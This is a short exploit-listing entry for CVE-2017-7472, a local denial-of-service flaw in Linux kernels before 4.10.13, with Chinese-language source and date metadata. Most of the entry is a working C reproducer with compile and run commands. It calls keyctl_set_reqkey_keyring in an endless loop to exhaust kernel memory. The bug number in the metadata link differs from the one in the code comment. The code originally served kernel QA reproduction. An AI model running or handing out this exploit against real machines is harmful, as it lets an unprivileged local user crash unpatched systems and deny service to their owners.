Linux Kernel < 4.10.13 - 'keyctl_set_reqkey_keyring' Local Denial of Service
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来源:https://bugzilla.novell.com/show_bug.cgi?id=103486 作者:Meissner 发布时间:2017-06-08
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/* Source: https://bugzilla.novell.com/show_bug.cgi?id=1034862 QA REPRODUCER: gcc -O2 -o CVE-2017-7472 CVE-2017-7472.c -lkeyutils ./CVE-2017-7472 (will run the kernel out of memory) */ #include <sys/types.h> #include <keyutils.h> int main() { for (;;) keyctl_set_reqkey_keyring(KEY_REQKEY_DEFL_THREAD_KEYRING); }
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